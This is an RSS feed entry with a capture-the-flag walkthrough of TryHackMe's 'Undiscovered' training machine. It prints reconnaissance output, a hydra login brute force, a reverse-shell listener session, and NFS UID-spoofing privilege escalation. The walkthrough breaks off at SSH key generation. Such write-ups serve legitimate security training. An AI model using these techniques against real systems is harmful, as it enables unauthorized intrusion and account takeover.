<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Zain on Medium]]></title>
        <description><![CDATA[Stories by Zain on Medium]]></description>
        <link>https://medium.com/@3zain21?source=rss-2a6c3260dcfb------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*gzAgkMzrzM7gvPauVc9plw.jpeg</url>
            <title>Stories by Zain on Medium</title>
            <link>https://medium.com/@3zain21?source=rss-2a6c3260dcfb------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 15:49:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@3zain21/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe - Undiscovered CTF]]></title>
            <link>https://medium.com/@3zain21/tryhackme-undiscovered-ctf-113364c7b572?source=rss-2a6c3260dcfb------2</link>
            <guid isPermaLink="false">https://medium.com/p/113364c7b572</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Zain]]></dc:creator>
            <pubDate>Mon, 15 Jul 2024 20:01:58 GMT</pubDate>
            <atom:updated>2024-07-15T20:04:53.194Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*I4oZWPOomugW2bFJ.jpeg" /></figure><p><a href="https://tryhackme.com/r/room/undiscoveredup">Undiscovered</a></p><p>We are tasked with finding two flags that are hidden across the target system.</p><p>Connect to the TryHackMe networking using your .ovpn file.</p><pre>sudo openvpn your_tryhackme_vpn.ovpn</pre><h3>Reconnaissance</h3><p>Let’s discover the services that are running on the target I performed a port scan.</p><pre>nmap -sS -p- -n -Pn --min-rate=9362 $IP<br>nmap -A -p $Port $IP</pre><p>-sS: This option specifies a SYN scan</p><p>-p-: This option tells nmap to scan all 65,535 ports.</p><p>-n: This option is speeds up the scan by avoiding DNS resolution.</p><p>-Pn: This option disables host discovery, treating all hosts as online. This is useful for scanning hosts that may be blocking ICMP ping requests.</p><p>--min-rate=9362: This option sets the minimum number of packets per second to be sent during the scan. This speeds up the scan but may increase the likelihood of being detected by security systems.</p><p>-A: This option enables OS detection, version detection, script scanning, and traceroute.</p><pre>root@Zain:/home/CTF/Undiscovered# ./../port_scan.sh 10.10.155.242<br>Running command: nmap -sS -p- -n -Pn --min-rate=9362 10.10.155.242<br>Running command: nmap -A -p 22,80,111,2049,41722 10.10.155.242<br>Starting Nmap 7.80 ( https://nmap.org ) at 2024-07-14 21:17 EEST<br>Nmap scan report for 10.10.155.242<br>Host is up (0.089s latency).<br><br>PORT      STATE SERVICE  VERSION<br>22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 c4:76:81:49:50:bb:6f:4f:06:15:cc:08:88:01:b8:f0 (RSA)<br>|   256 2b:39:d9:d9:b9:72:27:a9:32:25:dd:de:e4:01:ed:8b (ECDSA)<br>|_  256 2a:38:ce:ea:61:82:eb:de:c4:e0:2b:55:7f:cc:13:bc (ED25519)<br>80/tcp    open  http     Apache httpd 2.4.18<br>|_http-server-header: Apache/2.4.18 (Ubuntu)<br>|_http-title: Did not follow redirect to http://undiscovered.thm<br>111/tcp   open  rpcbind  2-4 (RPC #100000)<br>| rpcinfo: <br>|   program version    port/proto  service<br>|   100000  2,3,4        111/tcp   rpcbind<br>|   100000  2,3,4        111/udp   rpcbind<br>|   100000  3,4          111/tcp6  rpcbind<br>|   100000  3,4          111/udp6  rpcbind<br>|   100003  2,3,4       2049/tcp   nfs<br>|   100003  2,3,4       2049/tcp6  nfs<br>|   100003  2,3,4       2049/udp   nfs<br>|   100003  2,3,4       2049/udp6  nfs<br>|   100021  1,3,4      34174/tcp6  nlockmgr<br>|   100021  1,3,4      36794/udp   nlockmgr<br>|   100021  1,3,4      41722/tcp   nlockmgr<br>|   100021  1,3,4      54052/udp6  nlockmgr<br>|   100227  2,3         2049/tcp   nfs_acl<br>|   100227  2,3         2049/tcp6  nfs_acl<br>|   100227  2,3         2049/udp   nfs_acl<br>|_  100227  2,3         2049/udp6  nfs_acl<br>2049/tcp  open  nfs      2-4 (RPC #100003)<br>41722/tcp open  nlockmgr 1-4 (RPC #100021)<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Aggressive OS guesses: Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%), Android 7.1.1 - 7.1.2 (92%)<br>No exact OS matches for host (test conditions non-ideal).<br>Network Distance: 2 hops<br>Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>TRACEROUTE (using port 22/tcp)<br>HOP RTT      ADDRESS<br>1   86.78 ms 10.9.0.1<br>2   86.75 ms 10.10.155.242<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 15.41 seconds<br>root@Zain:/home/CTF/Undiscovered# </pre><p>Ports 22, 80, 111, 2049, 41722 are open on the target, and more details.</p><h3>Enumeration</h3><p>Please consider adding <strong>undiscovered.thm</strong> in /etc/hosts</p><p>Let’s try mount any data exist on nfs server.</p><pre>root@Zain:/home/CTF/Undiscovered# showmount -e undiscovered.thm<br><br>clnt_create: RPC: Program not registered</pre><p>When use showmount : Program not registered<br>Let’s try mounting the NFS share files.</p><pre>root@Zain:/# mount -v -t nfs 10.10.155.242:/ /media/mnt/<br>mount.nfs: timeout set for Sun Jul 14 21:38:32 2024<br>mount.nfs: trying text-based options &#39;vers=4.2,addr=10.10.155.242,clientaddr=10.9.0.24&#39;<br>root@Zain:/# ll /media/mnt/<br>total 12<br>drwxr-xr-x 25 root root 4096 Sep  4  2020 ./<br>drwxr-xr-x  5 root root 4096 Jul 14 21:36 ../<br>drwxr-xr-x  4 root root 4096 Sep  4  2020 home/<br>root@Zain:/# cd /media/mnt/home/<br>root@Zain:/media/mnt/home# ls<br>william<br>root@Zain:/media/mnt/home# ll<br>total 12<br>drwxr-xr-x  4 root   root    4096 Sep  4  2020 ./<br>drwxr-xr-x 25 root   root    4096 Sep  4  2020 ../<br>drwxr-x---  4 nobody nogroup 4096 Sep  9  2020 william/<br>root@Zain:/media/mnt/home# cd william/<br>bash: cd: william/: Permission denied<br>root@Zain:/media/mnt/home# chown root:root william/<br>chown: changing ownership of &#39;william/&#39;: Operation not permitted<br>root@Zain:/media/mnt/home#</pre><p>Found home directory for username william but can’t access !<br>Let’s try get enter this directory with nobody user.</p><pre>root@Zain:/media/mnt/home# sudo -u nobody -s<br>nobody@Zain:/media/mnt/home$ cd william/<br>bash: cd: william/: Permission denied</pre><p>Still Permission denied !!!<br>Let’s try Bind Mount with Different Permissions.</p><pre>root@Zain:/media# mkdir  bind<br>root@Zain:/media# mount --bind /media/mnt/home/william bind<br>root@Zain:/media# chmod 777 bind<br>chmod: changing permissions of &#39;bind&#39;: Operation not permitted<br>root@Zain:/media# ll bind/<br>ls: cannot open directory &#39;bind/&#39;: Permission denied<br>root@Zain:/media# ll |grep b<br>drwxr-x---  4 nobody nogroup  4096 Sep  9  2020 bind/</pre><p>Still Permission denied !!</p><p>Let’s enumeration web server and get any data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*cYhUuD-LrkrT07M6UmwNGg.png" /></figure><p>Let’s using gobuster for hidden Pages and directories.</p><pre>root@Zain:/home/CTF/Undiscovered# gobuster dir -u http://undiscovered.thm/ -w ../wordlists/dirb/common.txt -t 50  |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://undiscovered.thm/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.htaccess            (Status: 403) [Size: 281]<br>/.hta                 (Status: 403) [Size: 281]<br>/.htpasswd            (Status: 403) [Size: 281]<br>/images               (Status: 301) [Size: 321] [--&gt; http://undiscovered.thm/images/]<br>/index.php            (Status: 200) [Size: 355]<br>/server-status        (Status: 403) [Size: 281]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*xO-XhsvbWDg--bNKBvyuVw.png" /></figure><p>Just diamond image, Let’s try get any hidden data if exist.</p><pre>root@Zain:/home/CTF/Undiscovered# stegseek bg.jpg ../wordlists/rockyou.txt <br>StegSeek 0.6 - https://github.com/RickdeJager/StegSeek<br><br>[i] Progress: 99.49% (132.8 MB)           <br>[!] error: Could not find a valid passphrase.<br>root@Zain:/home/CTF/Undiscovered# exiftool b<br>bg.jpg                   brute_force_steghide.sh  <br>root@Zain:/home/CTF/Undiscovered# exiftool bg.jpg <br>ExifTool Version Number         : 12.40<br>File Name                       : bg.jpg<br>Directory                       : .<br>File Size                       : 42 KiB<br>File Modification Date/Time     : 2019:01:15 10:51:52+02:00<br>File Access Date/Time           : 2024:07:14 21:59:50+03:00<br>File Inode Change Date/Time     : 2024:07:14 21:59:18+03:00<br>File Permissions                : -rw-r--r--<br>File Type                       : JPEG<br>File Type Extension             : jpg<br>MIME Type                       : image/jpeg<br>JFIF Version                    : 1.02<br>Resolution Unit                 : None<br>X Resolution                    : 1<br>Y Resolution                    : 1<br>Comment                         : Lavc58.11.101<br>Image Width                     : 1920<br>Image Height                    : 1080<br>Encoding Process                : Baseline DCT, Huffman coding<br>Bits Per Sample                 : 8<br>Color Components                : 3<br>Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)<br>Image Size                      : 1920x1080<br>Megapixels                      : 2.1<br>root@Zain:/home/CTF/Undiscovered#</pre><p>Could not find a valid passphrase,<br>There’s comment Lavc58.11.101 and try it as passphrase , Nothing.<br>Let’s try wfuzz on subdomains.</p><pre>root@Zain:/home/CTF/Undiscovered# wfuzz -c -w ../wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u &quot;http://undiscovered.thm/&quot; -H &quot;Host: FUZZ.undiscovered.thm&quot; --hw 290 --sc 200 | tee subdomains.txt<br>********************************************************<br>* Wfuzz 3.1.0 - The Web Fuzzer                         *<br>********************************************************<br><br>Target: http://undiscovered.thm/<br>Total requests: 4997<br><br>=====================================================================<br>ID           Response   Lines    Word       Chars       Payload                            <br>=====================================================================<br><br>000000492:   200        68 L     341 W      4584 Ch     &quot;manager&quot;                          <br>000000517:   200        68 L     341 W      4626 Ch     &quot;dashboard&quot;                        <br>000000567:   200        68 L     341 W      4584 Ch     &quot;newsite&quot;                          <br>000000523:   200        82 L     341 W      4650 Ch     &quot;deliver&quot;                          <br>000000613:   200        68 L     341 W      4584 Ch     &quot;develop&quot;                          <br>000000631:   200        68 L     341 W      4542 Ch     &quot;forms&quot;                            <br>000000629:   200        68 L     341 W      4584 Ch     &quot;network&quot;                          <br>000000634:   200        68 L     341 W      4668 Ch     &quot;maintenance&quot;                      <br>000000666:   200        68 L     341 W      4521 Ch     &quot;view&quot;                             <br>000000675:   200        68 L     341 W      4605 Ch     &quot;mailgate&quot;                         <br>000000681:   200        68 L     341 W      4542 Ch     &quot;start&quot;                            <br>000000686:   200        83 L     341 W      4599 Ch     &quot;booking&quot;                          <br>000000679:   200        68 L     341 W      4521 Ch     &quot;play&quot;                             <br>000000695:   200        68 L     341 W      4521 Ch     &quot;gold&quot;                             <br>000000692:   200        68 L     341 W      4605 Ch     &quot;terminal&quot;                         <br>000000703:   200        68 L     341 W      4626 Ch     &quot;resources&quot;                        <br>000000697:   200        68 L     341 W      4605 Ch     &quot;internet&quot;                         <br><br>Total time: 0<br>Processed Requests: 4997<br>Filtered Requests: 4980<br>Requests/sec.: 0<br><br>root@Zain:/home/CTF/Undiscovered# </pre><p>After adding these subdomains in the hosts file, let’s explore them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SVASeNiPloX90kUPeFla8w.png" /></figure><p>All urls in this page is not found, only important thing Powered by <a href="http://ritecms.com/">RiteCMS</a> Version:2.2.1<br>RiteCMS is a content management system (CMS) that allows users to create, manage, and publish web content.</p><p>Let’s Use searchsploit To Check for Known Vulnerabilities</p><pre>root@Zain:/home/CTF/Undiscovered# searchsploit RiteCMS 2.2.1<br>------------------------------------------------------------------ ---------------------------------<br> Exploit Title                                                    |  Path<br>------------------------------------------------------------------ ---------------------------------<br>RiteCMS 2.2.1 - Authenticated Remote Code Execution               | php/webapps/48636.txt<br>RiteCMS 2.2.1 - Remote Code Execution (Authenticated)             | php/webapps/48915.py<br>------------------------------------------------------------------ ---------------------------------<br>Shellcodes: No Results</pre><p>There’s Remote Code Execution but it’s Authenticated<br>Need username and password<br>Maybe username is known willaim ,maybe another username like admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*xUcTXeT0rAdHKNnWphfYvA.png" /></figure><p>Found in source code hidden inputs with name and value</p><p>Let’s explore more subdomains,<br>I found all the subdomains to be the same.</p><p>Let’s using gobuster for hidden Pages and directories for all subdomains.</p><pre>root@Zain:/home/CTF/Undiscovered# gobuster dir -u http://manager.undiscovered.thm/ -w ../wordlists/dirb/common.txt -t 50  |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://manager.undiscovered.thm/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.hta                 (Status: 403) [Size: 289]<br>/.htpasswd            (Status: 403) [Size: 289]<br>/.htaccess            (Status: 403) [Size: 289]<br>/index.php            (Status: 200) [Size: 4584]<br>/server-status        (Status: 403) [Size: 289]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================<br>root@Zain:/home/CTF/Undiscovered# gobuster dir -u http://dashboard.undiscovered.thm/ -w ../wordlists/dirb/common.txt -t 50  |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://dashboard.undiscovered.thm/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.hta                 (Status: 403) [Size: 291]<br>/.htpasswd            (Status: 403) [Size: 291]<br>/.htaccess            (Status: 403) [Size: 291]<br>/index.php            (Status: 200) [Size: 4626]<br>/server-status        (Status: 403) [Size: 291]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================<br>root@Zain:/home/CTF/Undiscovered# gobuster dir -u http://deliver.undiscovered.thm/ -w ../wordlists/dirb/common.txt -t 50  |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://deliver.undiscovered.thm/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.htpasswd            (Status: 403) [Size: 289]<br>/.htaccess            (Status: 403) [Size: 289]<br>/.hta                 (Status: 403) [Size: 289]<br>/cms                  (Status: 301) [Size: 334] [--&gt; http://deliver.undiscovered.thm/cms/]<br>/data                 (Status: 301) [Size: 335] [--&gt; http://deliver.undiscovered.thm/data/]<br>/files                (Status: 301) [Size: 336] [--&gt; http://deliver.undiscovered.thm/files/]<br>/index.php            (Status: 200) [Size: 4650]<br>/js                   (Status: 301) [Size: 333] [--&gt; http://deliver.undiscovered.thm/js/]<br>/LICENSE              (Status: 200) [Size: 32472]<br>/media                (Status: 301) [Size: 336] [--&gt; http://deliver.undiscovered.thm/media/]<br>/server-status        (Status: 403) [Size: 289]<br>/templates            (Status: 301) [Size: 340] [--&gt; http://deliver.undiscovered.thm/templates/]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================<br>root@Zain:/home/CTF/Undiscovered# gobuster dir -u http://develop.undiscovered.thm/ -w ../wordlists/dirb/common.txt -t 50  |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://develop.undiscovered.thm/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.hta                 (Status: 403) [Size: 289]<br>/.htaccess            (Status: 403) [Size: 289]<br>/.htpasswd            (Status: 403) [Size: 289]<br>/index.php            (Status: 200) [Size: 4584]<br>/server-status        (Status: 403) [Size: 289]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================<br>root@Zain:/home/CTF/Undiscovered# gobuster dir -u http://forms.undiscovered.thm/ -w ../wordlists/dirb/common.txt -t 50  |tee gobuster.txt <br>===============================================================<br>Gobuster v3.6<br>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)<br>===============================================================<br>[+] Url:                     http://forms.undiscovered.thm/<br>[+] Method:                  GET<br>[+] Threads:                 50<br>[+] Wordlist:                ../wordlists/dirb/common.txt<br>[+] Negative Status codes:   404<br>[+] User Agent:              gobuster/3.6<br>[+] Timeout:                 10s<br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.hta                 (Status: 403) [Size: 287]<br>/.htaccess            (Status: 403) [Size: 287]<br>/.htpasswd            (Status: 403) [Size: 287]<br>/index.php            (Status: 200) [Size: 4542]<br>/server-status        (Status: 403) [Size: 287]<br>Progress: 4614 / 4615 (99.98%)<br>===============================================================<br>Finished<br>===============================================================<br>root@Zain:/home/CTF/Undiscovered# </pre><p>Found one subdomain deliver.undiscovered.thm have additional directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*FdEr2XnItjagT0J8t4ddWg.png" /><figcaption>Login page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*bCJZ_RF3Vwt1l_JJ_l2QsQ.png" /></figure><p>OHHHH!!, Let’s download this data and get important information.</p><pre>root@Zain:/home/CTF/Undiscovered# file userdata <br>userdata: SQLite 3.x database, last written using SQLite version 3011000, page size 1024, file counter 35, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 35<br>root@Zain:/home/CTF/Undiscovered# sqlite3 userdata <br>SQLite version 3.37.2 2022-01-06 13:25:41<br>Enter &quot;.help&quot; for usage hints.<br>sqlite&gt; .tables<br>rite_userdata<br>sqlite&gt; .schema rite_userdata <br>CREATE TABLE rite_userdata (id INTEGER PRIMARY KEY AUTOINCREMENT, name varchar(255) NOT NULL default &#39;&#39;, type tinyint(4) NOT NULL default &#39;0&#39;, pw varchar(255) NOT NULL default &#39;&#39;, last_login int(11) NOT NULL default &#39;0&#39;, wysiwyg tinyint(4) NOT NULL default &#39;0&#39;);<br>sqlite&gt; select * from rite_userdata ;<br>1|admin|1|009dbadbcd5c49a89011b47c8cb27a81fcc0f2be54669bfcb8|1599668894|1<br>sqlite&gt; </pre><p>Found username admin !!!.</p><pre>root@Zain:/home/CTF/Undiscovered# file content <br>content: SQLite 3.x database, last written using SQLite version 3011000, page size 1024, file counter 326972, database pages 167, 1st free page 150, free pages 71, cookie 0x1f, schema 1, UTF-8, version-valid-for 326972<br>root@Zain:/home/CTF/Undiscovered# sqlite3 content <br>SQLite version 3.37.2 2022-01-06 13:25:41<br>Enter &quot;.help&quot; for usage hints.<br>sqlite&gt; .tables<br>rite_banlists  rite_menus     rite_notes     rite_photos  <br>rite_gcb       rite_news      rite_pages     rite_settings<br>sqlite&gt; .schema rite_notes <br>CREATE TABLE IF NOT EXISTS &quot;rite_notes&quot; (id INTEGER PRIMARY KEY AUTOINCREMENT, note_section varchar(255) NOT NULL default &#39;&#39;, sequence int(11) NOT NULL default &#39;1&#39;, time int(11) NOT NULL default &#39;0&#39;, title varchar(255) NOT NULL default &#39;&#39;, text TEXT NOT NULL, text_formatting tinyint(4) default &#39;0&#39;, link varchar(255) NOT NULL default &#39;&#39;, linkname varchar(255) NOT NULL default &#39;&#39;, &quot;teaser&quot; TEXT);<br>sqlite&gt;<br>sqlite&gt; SELECT * FROM rite_notes ;<br>18|to_do_lists|1|1599669196|to_do.txt|[ ] fix `showmount` issue for v2 and v3 (mounting nfs share work just fine..hmm weird)<br>[/] create nfs share for william on /home/william|1|||<br>sqlite&gt;</pre><p>There’s note : fix `showmount` issue for v2 and v3 That’s why didn’t work before :D</p><pre>root@Zain:/home/CTF/Undiscovered# cat sqlite.user.initial.sql<br>CREATE TABLE rite_userdata (id INTEGER PRIMARY KEY AUTOINCREMENT, name varchar(255) NOT NULL default &#39;&#39;, type tinyint(4) NOT NULL default &#39;0&#39;, pw varchar(255) NOT NULL default &#39;&#39;, last_login int(11) NOT NULL default &#39;0&#39;, wysiwyg tinyint(4) NOT NULL default &#39;0&#39;);<br><br>INSERT INTO rite_userdata VALUES(1, &#39;admin&#39;, 1, &#39;75470d05abd21fb5e84e735d2bc595e2f7ecc5c7a5e98ad0d7&#39;, 1230764400, 0);</pre><p>Found another password in sqlite.user.initial.sql <br>Need to crack theses passwords.</p><p>Can’t crack these passwords :(</p><pre>root@Zain:/home/CTF/Undiscovered# ./../tools/john/run/john  hashes.txt --wordlist=../wordlists/rockyou.txt<br>Using default input encoding: UTF-8<br>No password hashes loaded (see FAQ)</pre><p>Let’s try brute force on the /cms login page using hydra .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XfOvAoXWu9I2wu99aHo6lQ.png" /></figure><p>Form fields: username and userpw<br>The username is admin</p><pre>root@Zain:/home/CTF/Undiscovered# hydra -l admin -P ../wordlists/rockyou.txt deliver.undiscovered.thm http-post-form &quot;/cms/:username=^USER^&amp;userpw=^PASS^:F=Login_failed&quot;<br>Hydra v9.2 (c) 2021 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).<br><br>Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-15 21:38:02<br>[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task<br>[DATA] attacking http-post-form://deliver.undiscovered.thm:80/cms/:username=^USER^&amp;userpw=^PASS^:F=Login_failed<br>[80][http-post-form] host: deliver.undiscovered.thm   login: admin   password: ************<br>1 of 1 target successfully completed, 1 valid password found<br>Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-07-15 21:38:06<br>root@Zain:/home/CTF/Undiscovered# <br><br></pre><h3>Exploitation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AvKpHHYob3JMKnU85Va_9Q.png" /></figure><p>Let’s try if can upload PHP Reverse Shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vlqTW8J29fH_9-t5K8EwcQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1wJeYSuVDazlt6tlwEjwVg.png" /></figure><p>Listen and wait for connection back.</p><pre>root@Zain:/home/CTF/Undiscovered# nc -lvnp 8888<br>Listening on 0.0.0.0 8888<br>Connection received on 10.10.7.117 53556<br>Linux undiscovered 4.4.0-189-generic #219-Ubuntu SMP Tue Aug 11 12:26:50 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux<br> 02:43:31 up  1:54,  0 users,  load average: 0.00, 0.00, 0.00<br>USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)<br>/bin/sh: 0: can&#39;t access tty; job control turned off<br>$ python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;<br>www-data@undiscovered:/$ ls -la /home<br>ls -la /home<br>total 16<br>drwxr-xr-x  4 root    root    4096 Sep  4  2020 .<br>drwxr-xr-x 25 root    root    4096 Sep  4  2020 ..<br>drwxr-x---  5 leonard leonard 4096 Sep  9  2020 leonard<br>drwxr-x---  4 william william 4096 Sep 10  2020 william<br>www-data@undiscovered:/$ <br></pre><p>Don’t have permissions to access on home directories<br>only user william is allowed access to .<br>Let’s try get privilege escalation.</p><h3>Privilege Escalation</h3><p>Let’s check of shared files :</p><pre>www-data@undiscovered:/home$ cat /etc/exports<br>cat /etc/exports<br># /etc/exports: the access control list for filesystems which may be exported<br>#  to NFS clients.  See exports(5).<br>#<br># Example for NFSv2 and NFSv3:<br># /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)<br>#<br># Example for NFSv4:<br># /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)<br># /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)<br>#<br><br>/home/william *(rw,root_squash)<br><br>www-data@undiscovered:/home$ cat /etc/passwd |grep william<br>cat /etc/passwd |grep william<br>william:x:3003:3003::/home/william:/bin/bash<br>www-data@undiscovered:/home$ </pre><p>Apparently we need to have the same user and the same UID as william to access this folder.</p><pre>root@Zain:/home/CTF/Undiscovered# mkdir /mnt/wi<br>root@Zain:/home/CTF/Undiscovered# sudo mount -t nfs 10.10.7.117:/home/william /mnt/wi/<br>root@Zain:/home/CTF/Undiscovered# ll /mnt<br>total 12<br>drwxr-xr-x  3 root   root    4096 Jul 15 21:54 ./<br>drwxr-xr-x 20 root   root    4096 May 13 17:47 ../<br>drwxr-x---  4 nobody nogroup 4096 Sep  9  2020 wi/<br>root@Zain:/home/CTF/Undiscovered# cd /mnt/wi/<br>bash: cd: /mnt/wi/: Permission denied</pre><p>So Create new username called william with the same UID</p><pre>root@Zain:/home/CTF/Undiscovered# useradd william -u 3003<br>root@Zain:/home/CTF/Undiscovered# su william<br>$ cd /mnt/wi <br>$ ls -l<br>total 20<br>-rwxr-xr-x 1 root   root     128 Sep  4  2020 admin.sh<br>-rwsrwsr-x 1 nobody nogroup 8776 Sep  4  2020 script<br>-rw-r----- 1 root   nogroup   38 Sep  9  2020 user.txt<br>$<br>$ cat a*<br>#!/bin/sh<br><br>    echo &quot;[i] Start Admin Area!&quot;<br>    echo &quot;[i] Make sure to keep this script safe from anyone else!&quot;<br>    <br>    exit 0<br><br>$ strings script<br>/lib64/ld-linux-x86-64.so.2<br>n2JP<br>libc.so.6<br>setreuid<br>__stack_chk_fail<br>strcat<br>system<br>__libc_start_main<br>__gmon_start__<br>GLIBC_2.2.5<br>GLIBC_2.4<br>UH-P<br>/bin/catH<br> /home/lH<br>eonard/<br>dH34%(<br>AWAVA<br>AUATL<br>[]A\A]A^A_<br>./admin.sh   &lt;========= interesting</pre><p>Here’s user flage, <br>admin.sh and script is SUID root user</p><p><strong>Executable and Paths:<br></strong>/bin/catH, /home/lH, eonard/: These strings suggest paths and commands used within the script.<br>./admin.sh: Indicates that the script may call another script named admin.sh.</p><p>Let’s try get access SSH with username william<br>Now create create a ssh key and .ssh directory in shared files.</p><pre>root@Zain:/home/CTF/Undiscovered# ssh-keygen -f william_ssh<br>Generating public/private rsa key pair.<br>Enter passphrase (empty for no passphrase): <br>Enter same passphrase again: <br>Your identification has been saved in william_ssh<br>Your public key has been saved in william_ssh.pub<br>The key fingerprint is:<br>SHA256:ouUuhgerkVwkKg07YtVbzKqxxRN0A+dfLQVhi18avIM root@Zain<br>The key&#39;s randomart image is:<br>+---[RSA 3072]----+<br>|     o.+   +o.   |<br>|    o * . + +    |<br>|.. o o = . * o   |<br>|.++ . = . + *    |<br>|*..o *o SE =     |<br>|=oo =+..    .    |<br>|o. *. .          |<br>| .o +.           |<br>|.. o ..          |<br>+----[SHA256]-----+<br>root@Zain:/home/CTF/Undiscovered# ll william_ssh<br>-rw------- 1 root root 2590 Jul 15 22:08 william_ssh<br>root@Zain:/home/CTF/Undiscovered# ll william_s*<br>-rw------- 1 root root 2590 Jul 15 22:08 william_ssh<br>-rw-r--r-- 1 root root  563 Jul 15 22:08 william_ssh.pub<br>root@Zain:/home/CTF/Undiscovered# 